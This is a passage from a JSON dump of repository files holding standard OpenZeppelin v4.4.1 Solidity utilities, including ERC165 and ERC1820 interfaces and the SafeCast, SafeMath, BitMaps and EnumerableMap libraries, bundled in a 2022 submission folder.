{IERC1820Registry-interfaceHash}.\n     */\n    function _registerInterfaceForAddress(bytes32 interfaceHash, address account) internal virtual {\n        _supportedInterfaces[interfaceHash][account] = true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n    /**\n     * @dev Returns true if this contract implements the interface defined by\n     * `interfaceId`. See the corresponding\n     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n     * to learn more about how these ids are created.\n     *\n     * This function call must use less than 30 000 gas.\n     */\n    function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/introspection/IERC1820Implementer.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC1820Implementer.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface for an ERC1820 implementer, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1820#interface-implementation-erc1820implementerinterface[EIP].\n * Used by contracts that will be registered as implementers in the\n * {IERC1820Registry}.\n */\ninterface IERC1820Implementer {\n    /**\n     * @dev Returns a special value (`ERC1820_ACCEPT_MAGIC`) if this contract\n     * implements `interfaceHash` for `account`.\n     *\n     * See {IERC1820Registry-setInterfaceImplementer}.\n     */\n    function canImplementInterfaceForAddress(bytes32 interfaceHash, address account) external view returns (bytes32);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/introspection/IERC1820Registry.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC1820Registry.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the global ERC1820 Registry, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register\n * implementers for interfaces in this registry, as well as query support.\n *\n * Implementers may be shared by multiple accounts, and can also implement more\n * than a single interface for each account. Contracts can implement interfaces\n * for themselves, but externally-owned accounts (EOA) must delegate this to a\n * contract.\n *\n * {IERC165} interfaces can also be queried via the registry.\n *\n * For an in-depth explanation and source code analysis, see the EIP text.\n */\ninterface IERC1820Registry {\n    /**\n     * @dev Sets `newManager` as the manager for `account`. A manager of an\n     * account is able to set interface implementers for it.\n     *\n     * By default, each account is its own manager. Passing a value of `0x0` in\n     * `newManager` will reset the manager to this initial state.\n     *\n     * Emits a {ManagerChanged} event.\n     *\n     * Requirements:\n     *\n     * - the caller must be the current manager for `account`.\n     */\n    function setManager(address account, address newManager) external;\n\n    /**\n     * @dev Returns the manager for `account`.\n     *\n     * See {setManager}.\n     */\n    function getManager(address account) external view returns (address);\n\n    /**\n     * @dev Sets the `implementer` contract as ``account``'s implementer for\n     * `interfaceHash`.\n     *\n     * `account` being the zero address is an alias for the caller's address.\n     * The zero address can also be used in `implementer` to remove an old one.\n     *\n     * See {interfaceHash} to learn how these are created.\n     *\n     * Emits an {InterfaceImplementerSet} event.\n     *\n     * Requirements:\n     *\n     * - the caller must be the current manager for `account`.\n     * - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not\n     * end in 28 zeroes).\n     * - `implementer` must implement {IERC1820Implementer} and return true when\n     * queried for support, unless `implementer` is the caller. See\n     * {IERC1820Implementer-canImplementInterfaceForAddress}.\n     */\n    function setInterfaceImplementer(\n        address account,\n        bytes32 _interfaceHash,\n        address implementer\n    ) external;\n\n    /**\n     * @dev Returns the implementer of `interfaceHash` for `account`. If no such\n     * implementer is registered, returns the zero address.\n     *\n     * If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28\n     * zeroes), `account` will be queried for support of it.\n     *\n     * `account` being the zero address is an alias for the caller's address.\n     */\n    function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address);\n\n    /**\n     * @dev Returns the interface hash for an `interfaceName`, as defined in the\n     * corresponding\n     * https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP].\n     */\n    function interfaceHash(string calldata interfaceName) external pure returns (bytes32);\n\n    /**\n     * @notice Updates the cache with whether the contract implements an ERC165 interface or not.\n     * @param account Address of the contract for which to update the cache.\n     * @param interfaceId ERC165 interface for which to update the cache.\n     */\n    function updateERC165Cache(address account, bytes4 interfaceId) external;\n\n    /**\n     * @notice Checks whether a contract implements an ERC165 interface or not.\n     * If the result is not cached a direct lookup on the contract address is performed.\n     * If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling\n     * {updateERC165Cache} with the contract address.\n     * @param account Address of the contract to check.\n     * @param interfaceId ERC165 interface to check.\n     * @return True if `account` implements `interfaceId`, false otherwise.\n     */\n    function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);\n\n    /**\n     * @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache.\n     * @param account Address of the contract to check.\n     * @param interfaceId ERC165 interface to check.\n     * @return True if `account` implements `interfaceId`, false otherwise.\n     */\n    function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);\n\n    event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);\n\n    event ManagerChanged(address indexed account, address indexed newManager);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/math/Math.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary Math {\n    /**\n     * @dev Returns the largest of two numbers.\n     */\n    function max(uint256 a, uint256 b) internal pure returns (uint256) {\n        return a >= b ? a : b;\n    }\n\n    /**\n     * @dev Returns the smallest of two numbers.\n     */\n    function min(uint256 a, uint256 b) internal pure returns (uint256) {\n        return a < b ? a : b;\n    }\n\n    /**\n     * @dev Returns the average of two numbers. The result is rounded towards\n     * zero.\n     */\n    function average(uint256 a, uint256 b) internal pure returns (uint256) {\n        // (a + b) / 2 can overflow.\n        return (a & b) + (a ^ b) / 2;\n    }\n\n    /**\n     * @dev Returns the ceiling of the division of two numbers.\n     *\n     * This differs from standard division with `/` in that it rounds up instead\n     * of rounding down.\n     */\n    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n        // (a + b - 1) / b can overflow on addition, so we distribute.\n        return a / b + (a % b == 0 ? 0 : 1);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/math/SafeCast.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/math/SafeCast.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow\n * checks.\n *\n * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can\n * easily result in undesired exploitation or bugs, since developers usually\n * assume that overflows raise errors. `SafeCast` restores this intuition by\n * reverting the transaction when such an operation overflows.\n *\n * Using this library instead of the unchecked operations eliminates an entire\n * class of bugs, so it's recommended to use it always.\n *\n * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing\n * all math on `uint256` and `int256` and then downcasting.\n */\nlibrary SafeCast {\n    /**\n     * @dev Returns the downcasted uint224 from uint256, reverting on\n     * overflow (when the input is greater than largest uint224).\n     *\n     * Counterpart to Solidity's `uint224` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 224 bits\n     */\n    function toUint224(uint256 value) internal pure returns (uint224) {\n        require(value <= type(uint224).max, \"SafeCast: value doesn't fit in 224 bits\");\n        return uint224(value);\n    }\n\n    /**\n     * @dev Returns the downcasted uint128 from uint256, reverting on\n     * overflow (when the input is greater than largest uint128).\n     *\n     * Counterpart to Solidity's `uint128` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 128 bits\n     */\n    function toUint128(uint256 value) internal pure returns (uint128) {\n        require(value <= type(uint128).max, \"SafeCast: value doesn't fit in 128 bits\");\n        return uint128(value);\n    }\n\n    /**\n     * @dev Returns the downcasted uint96 from uint256, reverting on\n     * overflow (when the input is greater than largest uint96).\n     *\n     * Counterpart to Solidity's `uint96` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 96 bits\n     */\n    function toUint96(uint256 value) internal pure returns (uint96) {\n        require(value <= type(uint96).max, \"SafeCast: value doesn't fit in 96 bits\");\n        return uint96(value);\n    }\n\n    /**\n     * @dev Returns the downcasted uint64 from uint256, reverting on\n     * overflow (when the input is greater than largest uint64).\n     *\n     * Counterpart to Solidity's `uint64` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 64 bits\n     */\n    function toUint64(uint256 value) internal pure returns (uint64) {\n        require(value <= type(uint64).max, \"SafeCast: value doesn't fit in 64 bits\");\n        return uint64(value);\n    }\n\n    /**\n     * @dev Returns the downcasted uint32 from uint256, reverting on\n     * overflow (when the input is greater than largest uint32).\n     *\n     * Counterpart to Solidity's `uint32` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 32 bits\n     */\n    function toUint32(uint256 value) internal pure returns (uint32) {\n        require(value <= type(uint32).max, \"SafeCast: value doesn't fit in 32 bits\");\n        return uint32(value);\n    }\n\n    /**\n     * @dev Returns the downcasted uint16 from uint256, reverting on\n     * overflow (when the input is greater than largest uint16).\n     *\n     * Counterpart to Solidity's `uint16` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 16 bits\n     */\n    function toUint16(uint256 value) internal pure returns (uint16) {\n        require(value <= type(uint16).max, \"SafeCast: value doesn't fit in 16 bits\");\n        return uint16(value);\n    }\n\n    /**\n     * @dev Returns the downcasted uint8 from uint256, reverting on\n     * overflow (when the input is greater than largest uint8).\n     *\n     * Counterpart to Solidity's `uint8` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 8 bits.\n     */\n    function toUint8(uint256 value) internal pure returns (uint8) {\n        require(value <= type(uint8).max, \"SafeCast: value doesn't fit in 8 bits\");\n        return uint8(value);\n    }\n\n    /**\n     * @dev Converts a signed int256 into an unsigned uint256.\n     *\n     * Requirements:\n     *\n     * - input must be greater than or equal to 0.\n     */\n    function toUint256(int256 value) internal pure returns (uint256) {\n        require(value >= 0, \"SafeCast: value must be positive\");\n        return uint256(value);\n    }\n\n    /**\n     * @dev Returns the downcasted int128 from int256, reverting on\n     * overflow (when the input is less than smallest int128 or\n     * greater than largest int128).\n     *\n     * Counterpart to Solidity's `int128` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 128 bits\n     *\n     * _Available since v3.1._\n     */\n    function toInt128(int256 value) internal pure returns (int128) {\n        require(value >= type(int128).min && value <= type(int128).max, \"SafeCast: value doesn't fit in 128 bits\");\n        return int128(value);\n    }\n\n    /**\n     * @dev Returns the downcasted int64 from int256, reverting on\n     * overflow (when the input is less than smallest int64 or\n     * greater than largest int64).\n     *\n     * Counterpart to Solidity's `int64` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 64 bits\n     *\n     * _Available since v3.1._\n     */\n    function toInt64(int256 value) internal pure returns (int64) {\n        require(value >= type(int64).min && value <= type(int64).max, \"SafeCast: value doesn't fit in 64 bits\");\n        return int64(value);\n    }\n\n    /**\n     * @dev Returns the downcasted int32 from int256, reverting on\n     * overflow (when the input is less than smallest int32 or\n     * greater than largest int32).\n     *\n     * Counterpart to Solidity's `int32` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 32 bits\n     *\n     * _Available since v3.1._\n     */\n    function toInt32(int256 value) internal pure returns (int32) {\n        require(value >= type(int32).min && value <= type(int32).max, \"SafeCast: value doesn't fit in 32 bits\");\n        return int32(value);\n    }\n\n    /**\n     * @dev Returns the downcasted int16 from int256, reverting on\n     * overflow (when the input is less than smallest int16 or\n     * greater than largest int16).\n     *\n     * Counterpart to Solidity's `int16` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 16 bits\n     *\n     * _Available since v3.1._\n     */\n    function toInt16(int256 value) internal pure returns (int16) {\n        require(value >= type(int16).min && value <= type(int16).max, \"SafeCast: value doesn't fit in 16 bits\");\n        return int16(value);\n    }\n\n    /**\n     * @dev Returns the downcasted int8 from int256, reverting on\n     * overflow (when the input is less than smallest int8 or\n     * greater than largest int8).\n     *\n     * Counterpart to Solidity's `int8` operator.\n     *\n     * Requirements:\n     *\n     * - input must fit into 8 bits.\n     *\n     * _Available since v3.1._\n     */\n    function toInt8(int256 value) internal pure returns (int8) {\n        require(value >= type(int8).min && value <= type(int8).max, \"SafeCast: value doesn't fit in 8 bits\");\n        return int8(value);\n    }\n\n    /**\n     * @dev Converts an unsigned uint256 into a signed int256.\n     *\n     * Requirements:\n     *\n     * - input must be less than or equal to maxInt256.\n     */\n    function toInt256(uint256 value) internal pure returns (int256) {\n        // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive\n        require(value <= uint256(type(int256).max), \"SafeCast: value doesn't fit in an int256\");\n        return int256(value);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)\n\npragma solidity ^0.8.0;\n\n// CAUTION\n// This version of SafeMath should only be used with Solidity 0.8 or later,\n// because it relies on the compiler's built in overflow checks.\n\n/**\n * @dev Wrappers over Solidity's arithmetic operations.\n *\n * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler\n * now has built in overflow checking.\n */\nlibrary SafeMath {\n    /**\n     * @dev Returns the addition of two unsigned integers, with an overflow flag.\n     *\n     * _Available since v3.4._\n     */\n    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n        unchecked {\n            uint256 c = a + b;\n            if (c < a) return (false, 0);\n            return (true, c);\n        }\n    }\n\n    /**\n     * @dev Returns the substraction of two unsigned integers, with an overflow flag.\n     *\n     * _Available since v3.4._\n     */\n    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n        unchecked {\n            if (b > a) return (false, 0);\n            return (true, a - b);\n        }\n    }\n\n    /**\n     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.\n     *\n     * _Available since v3.4._\n     */\n    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n        unchecked {\n            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\n            // benefit is lost if 'b' is also tested.\n            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\n            if (a == 0) return (true, 0);\n            uint256 c = a * b;\n            if (c / a != b) return (false, 0);\n            return (true, c);\n        }\n    }\n\n    /**\n     * @dev Returns the division of two unsigned integers, with a division by zero flag.\n     *\n     * _Available since v3.4._\n     */\n    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n        unchecked {\n            if (b == 0) return (false, 0);\n            return (true, a / b);\n        }\n    }\n\n    /**\n     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.\n     *\n     * _Available since v3.4._\n     */\n    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n        unchecked {\n            if (b == 0) return (false, 0);\n            return (true, a % b);\n        }\n    }\n\n    /**\n     * @dev Returns the addition of two unsigned integers, reverting on\n     * overflow.\n     *\n     * Counterpart to Solidity's `+` operator.\n     *\n     * Requirements:\n     *\n     * - Addition cannot overflow.\n     */\n    function add(uint256 a, uint256 b) internal pure returns (uint256) {\n        return a + b;\n    }\n\n    /**\n     * @dev Returns the subtraction of two unsigned integers, reverting on\n     * overflow (when the result is negative).\n     *\n     * Counterpart to Solidity's `-` operator.\n     *\n     * Requirements:\n     *\n     * - Subtraction cannot overflow.\n     */\n    function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n        return a - b;\n    }\n\n    /**\n     * @dev Returns the multiplication of two unsigned integers, reverting on\n     * overflow.\n     *\n     * Counterpart to Solidity's `*` operator.\n     *\n     * Requirements:\n     *\n     * - Multiplication cannot overflow.\n     */\n    function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n        return a * b;\n    }\n\n    /**\n     * @dev Returns the integer division of two unsigned integers, reverting on\n     * division by zero. The result is rounded towards zero.\n     *\n     * Counterpart to Solidity's `/` operator.\n     *\n     * Requirements:\n     *\n     * - The divisor cannot be zero.\n     */\n    function div(uint256 a, uint256 b) internal pure returns (uint256) {\n        return a / b;\n    }\n\n    /**\n     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\n     * reverting when dividing by zero.\n     *\n     * Counterpart to Solidity's `%` operator. This function uses a `revert`\n     * opcode (which leaves remaining gas untouched) while Solidity uses an\n     * invalid opcode to revert (consuming all remaining gas).\n     *\n     * Requirements:\n     *\n     * - The divisor cannot be zero.\n     */\n    function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n        return a % b;\n    }\n\n    /**\n     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on\n     * overflow (when the result is negative).\n     *\n     * CAUTION: This function is deprecated because it requires allocating memory for the error\n     * message unnecessarily. For custom revert reasons use {trySub}.\n     *\n     * Counterpart to Solidity's `-` operator.\n     *\n     * Requirements:\n     *\n     * - Subtraction cannot overflow.\n     */\n    function sub(\n        uint256 a,\n        uint256 b,\n        string memory errorMessage\n    ) internal pure returns (uint256) {\n        unchecked {\n            require(b <= a, errorMessage);\n            return a - b;\n        }\n    }\n\n    /**\n     * @dev Returns the integer division of two unsigned integers, reverting with custom message on\n     * division by zero. The result is rounded towards zero.\n     *\n     * Counterpart to Solidity's `/` operator. Note: this function uses a\n     * `revert` opcode (which leaves remaining gas untouched) while Solidity\n     * uses an invalid opcode to revert (consuming all remaining gas).\n     *\n     * Requirements:\n     *\n     * - The divisor cannot be zero.\n     */\n    function div(\n        uint256 a,\n        uint256 b,\n        string memory errorMessage\n    ) internal pure returns (uint256) {\n        unchecked {\n            require(b > 0, errorMessage);\n            return a / b;\n        }\n    }\n\n    /**\n     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\n     * reverting with custom message when dividing by zero.\n     *\n     * CAUTION: This function is deprecated because it requires allocating memory for the error\n     * message unnecessarily. For custom revert reasons use {tryMod}.\n     *\n     * Counterpart to Solidity's `%` operator. This function uses a `revert`\n     * opcode (which leaves remaining gas untouched) while Solidity uses an\n     * invalid opcode to revert (consuming all remaining gas).\n     *\n     * Requirements:\n     *\n     * - The divisor cannot be zero.\n     */\n    function mod(\n        uint256 a,\n        uint256 b,\n        string memory errorMessage\n    ) internal pure returns (uint256) {\n        unchecked {\n            require(b > 0, errorMessage);\n            return a % b;\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/math/SignedSafeMath.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/math/SignedSafeMath.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Wrappers over Solidity's arithmetic operations.\n *\n * NOTE: `SignedSafeMath` is no longer needed starting with Solidity 0.8. The compiler\n * now has built in overflow checking.\n */\nlibrary SignedSafeMath {\n    /**\n     * @dev Returns the multiplication of two signed integers, reverting on\n     * overflow.\n     *\n     * Counterpart to Solidity's `*` operator.\n     *\n     * Requirements:\n     *\n     * - Multiplication cannot overflow.\n     */\n    function mul(int256 a, int256 b) internal pure returns (int256) {\n        return a * b;\n    }\n\n    /**\n     * @dev Returns the integer division of two signed integers. Reverts on\n     * division by zero. The result is rounded towards zero.\n     *\n     * Counterpart to Solidity's `/` operator.\n     *\n     * Requirements:\n     *\n     * - The divisor cannot be zero.\n     */\n    function div(int256 a, int256 b) internal pure returns (int256) {\n        return a / b;\n    }\n\n    /**\n     * @dev Returns the subtraction of two signed integers, reverting on\n     * overflow.\n     *\n     * Counterpart to Solidity's `-` operator.\n     *\n     * Requirements:\n     *\n     * - Subtraction cannot overflow.\n     */\n    function sub(int256 a, int256 b) internal pure returns (int256) {\n        return a - b;\n    }\n\n    /**\n     * @dev Returns the addition of two signed integers, reverting on\n     * overflow.\n     *\n     * Counterpart to Solidity's `+` operator.\n     *\n     * Requirements:\n     *\n     * - Addition cannot overflow.\n     */\n    function add(int256 a, int256 b) internal pure returns (int256) {\n        return a + b;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/structs/BitMaps.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/structs/BitMaps.sol)\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for managing uint256 to bool mapping in a compact and efficient way, providing the keys are sequential.\n * Largelly inspired by Uniswap's https://github.com/Uniswap/merkle-distributor/blob/master/contracts/MerkleDistributor.sol[merkle-distributor].\n */\nlibrary BitMaps {\n    struct BitMap {\n        mapping(uint256 => uint256) _data;\n    }\n\n    /**\n     * @dev Returns whether the bit at `index` is set.\n     */\n    function get(BitMap storage bitmap, uint256 index) internal view returns (bool) {\n        uint256 bucket = index >> 8;\n        uint256 mask = 1 << (index & 0xff);\n        return bitmap._data[bucket] & mask != 0;\n    }\n\n    /**\n     * @dev Sets the bit at `index` to the boolean `value`.\n     */\n    function setTo(\n        BitMap storage bitmap,\n        uint256 index,\n        bool value\n    ) internal {\n        if (value) {\n            set(bitmap, index);\n        } else {\n            unset(bitmap, index);\n        }\n    }\n\n    /**\n     * @dev Sets the bit at `index`.\n     */\n    function set(BitMap storage bitmap, uint256 index) internal {\n        uint256 bucket = index >> 8;\n        uint256 mask = 1 << (index & 0xff);\n        bitmap._data[bucket] |= mask;\n    }\n\n    /**\n     * @dev Unsets the bit at `index`.\n     */\n    function unset(BitMap storage bitmap, uint256 index) internal {\n        uint256 bucket = index >> 8;\n        uint256 mask = 1 << (index & 0xff);\n        bitmap._data[bucket] &= ~mask;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/structs/EnumerableMap.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableMap.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./EnumerableSet.sol\";\n\n/**\n * @dev Library for managing an enumerable variant of Solidity's\n * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]\n * type.\n *\n * Maps have the following properties:\n *\n * - Entries are added, removed, and checked for existence in constant time\n * (O(1)).\n * - Entries are enumerated in O(n). No guarantees are made on the ordering.\n *\n * ```\n * contract Example {\n *     // Add the library methods\n *     using EnumerableMap for EnumerableMap.UintToAddressMap;\n *\n *     // Declare a set state variable\n *     EnumerableMap.UintToAddressMap private myMap;\n * }\n * ```\n *\n * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are\n * supported.\n */\nlibrary EnumerableMap {\n    using EnumerableSet for EnumerableSet.Bytes32Set;\n\n    // To implement this library for multiple types with as little code\n    // repetition as possible, we write it in terms of a generic Map type with\n    // bytes32 keys and values.\n    // The Map implementation uses private functions, and user-facing\n    // implementations (such as Uint256ToAddressMap) are just wrappers around\n    // the underlying Map.\n    // This means that we can only create new EnumerableMaps for types that fit\n    // in bytes32.\n\n    struct Map {\n        // Storage of keys\n        EnumerableSet.Bytes32Set _keys;\n        mapping(bytes32 => bytes32) _values;\n    }\n\n    /**\n     * @dev Adds a key-value pair to a map, or updates the value for an existing\n     * key. O(1).\n     *\n     * Returns true if the key was added to the map, that is if it was not\n     * already present.\n     */\n    function _set(\n        Map storage map,\n        bytes32 key,\n        bytes32 value\n    ) private returns (bool) {\n        map._values[key] = value;\n        return map._keys.add(key);\n    }\n\n    /**\n     * @dev Removes a key-value pair from a map. O(1).\n     *\n     * Returns true if the key was removed from the map, that is if it was present.\n     */\n    function _remove(Map storage map, bytes32 key) private returns (bool) {\n        delete map._values[key];\n        return map._keys.remove(key);\n    }\n\n    /**\n     * @dev Returns true if the key is in the map. O(1).\n     */\n    function _contains(Map storage map, bytes32 key) private view returns (bool) {\n        return map._keys.contains(key);\n    }\n\n    /**\n     * @dev Returns the number of key-value pairs in the map. O(1).\n     */\n    function _length(Map storage map) private view returns (uint256) {\n        return map._keys.length();\n    }\n\n    /**\n     * @dev Returns the key-value pair stored at position `index` in the map. O(1).\n     *\n     * Note that there are no guarantees on the ordering of entries inside the\n     * array, and it may change when more entries are added or removed.\n     *\n     * Requirements:\n     *\n     * - `index` must be strictly less than {length}.\n     */\n    function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {\n        bytes32 key = map._keys.at(index);\n        return (key, map._values[key]);\n    }\n\n    /**\n     * @dev Tries to returns the value associated with `key`.  O(1).\n     * Does not revert if `key` is not in the map.\n     */\n    function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {\n        bytes32 value = map._values[key];\n        if (value == bytes32(0)) {\n            return (_contains(map, key), bytes32(0));\n        } else {\n            return (true, value);\n        }\n    }\n\n    /**\n     * @dev Returns the value associated with `key`.  O(1).\n     *\n     * Requirements:\n     *\n     * - `key` must be in the map.\n     */\n    function _get(Map storage map, bytes32 key) private view returns (bytes32) {\n        bytes32 value = map._values[key];\n        require(value != 0 || _contains(map, key), \"EnumerableMap: nonexistent key\");\n        return value;\n    }\n\n    /**\n     * @dev Same as {_get}, with a custom error message when `key` is not in the map.\n     *\n     * CAUTION: This function is deprecated because it requires allocating memory for the error\n     * message unnecessarily. For custom revert reasons use {_tryGet}.\n     */\n    function _get(\n        Map storage map,\n        bytes32 key,\n        string memory errorMessage\n    ) private view returns (bytes32) {\n        bytes32 value = map._values[key];\n        require(value != 0 || _contains(map, key), errorMessage);\n        return value;\n    }\n\n    // UintToAddressMap\n\n    struct UintToAddressMap {\n        Map _inner;\n    }\n\n    /**\n     * @dev Adds a key-value pair to a map, or updates the value for an existing\n     * key. O(1).\n     *\n     * Returns true if the key was added to the map, that is if it was not\n     * already present.\n     */\n    function set(\n        UintToAddressMap storage map,\n        uint256 key,\n        address value\n    ) internal returns (bool) {\n        return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));\n    }\n\n    /**\n     * @dev Removes a value from a set. O(1).\n     *\n     * Returns true if the key was removed from the map, that is if it was present.\n     */\n    function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {\n        return _remove(map._inner, bytes32(key));\n    }\n\n    /**\n     * @dev Returns true if the key is in the map. O(1).\n     */\n    function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {\n        return _contains(map._inner, bytes32(key));\n    }\n\n    /**\n     * @dev Returns the number of elements in the map. O(1).\n     */\n    function length(UintToAddressMap storage map) internal view returns (uint256) {\n        return _length(map._inner);\n    }\n\n    /**\n     * @dev Returns the element stored at position `index` in the set. O(1).\n     * Note that there are no guarantees on the ordering of values inside the\n     * array, and it may change when more values are added or removed.\n     *\n     * Requirements:\n     *\n     * - `index` must be strictly less than {length}.\n     */\n    function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {\n        (bytes32 key, bytes32 value) = _at(map._inner, index);\n        return (uint256(key), address(uint160(uint256(value))));\n    }\n\n    /**\n     * @dev Tries to returns the value associated with `key`.  O(1).\n     * Does not revert if `key` is not in the map.\n     *\n     * _Available since v3.4._\n     */\n    function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {\n        (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));\n        return (success, address(uint160(uint256(value))));\n    }\n\n    /**\n     * @dev Returns the value associated with `key`.  O(1).\n     *\n     * Requirements:\n     *\n     * - `key` must be in the map.\n     */\n    function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {\n        return address(uint160(uint256(_get(map._inner, bytes32(key)))));\n    }\n\n    /**\n     * @dev Same as {get}, with a custom error message when `key` is not in the map.\n     *\n     * CAUTION: This function is deprecated because it requires allocating memory for the error\n     * message unnecessarily. For custom revert reasons use {tryGet}.\n     */\n    function get(\n        UintToAddressMap storage map,\n        uint256 key,\n        string memory errorMessage\n    ) internal view returns (address) {\n        return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/structs/EnumerableSet.sol",
